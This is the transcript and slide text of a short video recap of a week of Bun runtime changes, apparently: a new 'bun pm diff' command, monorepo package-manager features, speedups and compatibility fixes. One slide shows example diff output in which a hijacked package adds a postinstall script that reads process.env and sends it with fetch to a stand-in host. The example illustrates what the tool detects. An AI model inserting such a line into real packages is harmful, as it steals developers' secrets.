This Week in Bun

3 months ago

Three hundred and eighty pull requests merged into Bun in the last seven days. Here is what actually changed for you, in about two minutes.

Ask about this presentation

Chapters

  1. 0:00This Week in Bun
  2. 0:09bun pm diff
  3. 0:39It reads the diff for you
  4. 1:00The package manager grew up
  5. 1:30Faster this week
  6. 1:54Compatibility
  7. 2:13Read the week yourself
Show transcript
  1. Three hundred and eighty pull requests merged into Bun in the last seven days. Here is what actually changed for you, in about two minutes.

    Slide text
    Bun

    This Week
    in Bun

    Aug 12 – 19 380 PRs merged oven-sh/bun
  2. The headline is a brand new command, bun pm diff. Ask it about any dependency and it shows you what the next version actually changes, the code itself, right in your terminal. And it diffs meaning, not bytes. A reformat, a renamed local, a rewrapped call, all folded away, so what you read is the real change.

    Slide text
    The headline · new command

    See what changed before you update

    bun pm diff reads the code a new version ships — and folds formatting churn away.

    $ bun pm diff lodash lodash 4.17.20 → 4.18.1 trimEnd.js ──────────────── normalized +2 -3 8 │ - var reTrimEnd = /\s+$/; 32 │ - return string.replace(reTrimEnd, ""); 30 │ + return string.slice(0, trimmedEndIndex(string) + 1); trimStart.js ────────────── formatting only 21 files +270 -165 · 2 new · 7 formatting only
  3. It also reads the diff for you. This patch release quietly ships a new install script that grabs your environment and phones home. The summary calls it out. An added install script, a new child process import, a new eval. That is the review that catches a hijacked package before it reaches your machine.

    Slide text
    Same command · worst case

    It flags the release you should not take

    $ bun pm diff left-pad-plus@2.3.0 2.3.1 setup.js ───────────────────── new +5 1 │ + const cp = require("child_process"); 2 │ + const env = JSON.stringify(process.env); 3 │ + fetch("https://collect.example.test/e", { body: env }); 3 files +9 -2 · 1 new ▲ postinstall script added: node setup.js ▲ now imports child_process (index.js) ▲ +1 eval() · +1 process.env · +1 fetch()
  4. The other big one is a single pull request that brings Bun's package manager to parity with pnpm for monorepos. Dedupe collapses duplicate versions in your lockfile. Prune deletes whatever the lockfile does not own. Audit fix moves vulnerable packages to safe versions automatically. And a plain bun update finally refreshes transitive dependencies too, so your lockfile stops quietly going stale.

    Slide text
    One pull request · #38333

    Parity with pnpm for monorepo workflows, in one merge.

    bun dedupe collapse duplicate versions onto the smallest set that still satisfies everyone
    bun prune remove everything in node_modules the lockfile doesn't put there
    bun audit fix move each vulnerable package to the lowest safe version its dependents accept
    bun update now refreshes transitive dependencies too — the lockfile stops going stale
  5. Speed work shipped too. On Windows, Bun now loads about half as many system libraries before your first line runs. Together with a companion patch, starting an empty script measured at twenty seven milliseconds drops to twenty one. And on every platform, a WebKit upgrade makes URL parsing faster, which sits under every fetch you make.

    Slide text
    Performance

    Faster where it hurts

    27 21 ms
    Windows · empty script
    Half the system DLLs loaded before your code runs — 30 down to 16 (with a companion libuv patch)
    URL parser
    Every platform
    A WebKit upgrade ships a faster URL parser, and Bun stops re-running Unicode processing on punycode the parser already produced
  6. Compatibility kept moving. A module system fix unblocked running Jest on Bun's own runtime. A fresh project from bun init now starts on TypeScript seven, the new compiler written in Go. And single file executables built with Bun now run on Android.

    Slide text
    Compatibility

    More of the ecosystem just works

    jest a module-system fix unblocked running Jest on Bun's own runtime
    bun init every template now starts on TypeScript 7 — the new Go-native compiler
    bun build --compile single-file executables now run on Android
  7. Everything you just heard is a merged pull request you can read yourself, at github dot com slash oven dash sh slash bun. That was the week. See you next one.

    Slide text
    Bun

    Every claim is a
    merged pull request

    github.com/oven-sh/bun

What happened in AI today, in your inbox

One short email each evening. Read it and you’re caught up.

Built with ❤️ in New York